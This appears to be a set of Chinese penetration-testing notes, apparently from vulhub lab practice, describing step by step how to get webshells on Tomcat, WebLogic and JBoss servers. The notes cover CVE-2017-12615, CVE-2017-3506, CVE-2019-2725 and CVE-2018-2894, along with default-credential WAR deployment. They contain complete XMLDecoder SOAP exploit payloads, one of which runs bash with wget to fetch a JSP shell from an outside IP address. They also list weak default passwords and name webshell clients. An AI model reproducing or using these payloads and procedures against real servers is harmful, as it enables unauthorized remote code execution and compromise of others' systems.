Tomcat
CVE-2017-12615
进入界面后抓包修改
在下面添加一个jsp一句话木马
链接
后台弱口令部署war包
进入界面后点击app这个按键进行登录 正面密码为tomcat
在这里添加一句话木马
在哥斯拉里生成一句话木马
把文件压缩成zip格式,并把后缀改为war
链接
WebLogic
后台弱⼝令GetShell
默认账号密码:weblogic/Oracle@123
weblogic常用弱口令:Default Passwords | CIRT.net这里注意,单个账号错误密码5次之后就会自动锁定。
上传war包,jsp⽊⻢压缩成zip,修改后缀为war,上传
链接
CVE-2017-3506
在IP后面添加wls-wsat/CoordinatorPortType进入
抓包并在下面添加
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/123.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("123"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
/bea_wls_internal/shell.jsp
访问url
CVE-2019-2725
漏洞验证
/_async/AsyncResponseService
如果出现⼀下⻚⾯,则说明存在漏洞
抓包在下面添加
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://114.132.92.17/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/12121.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
链接
CVE-2018-2628
进入界面
使用工具(liqun工具箱)
CVE-2018-2894
账号密码weblogic/J1WrSilh
进入
http://112.126.80.8:8687/ws_utc/config.do
把镜像文件换成下面
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_intern al/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
点击base 在点高级
启动web服务在保存
来到ws_utc/config.do页面
修改
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
点击安全在这里添加
按F12查询搜索,找到对应时间戳
用蚁剑链接
Jboss
CVE-2017-7504
进入页面在后面添加jbossmg-httpil/HTTPServerlLServlet
如出现以下界面,说明存在此漏洞
CVE-2017-12149
Administration Console弱⼝令
/admin-console/login.seam?conversationId=4
账号密码 admin:vulhub
点击web
在此处上传文件
链接
http://112.126.80.8:8611/shell/shell.jsp
低版本JMX Console未授权
⾼版本JMX Console未授权
账号密码admin/vulhub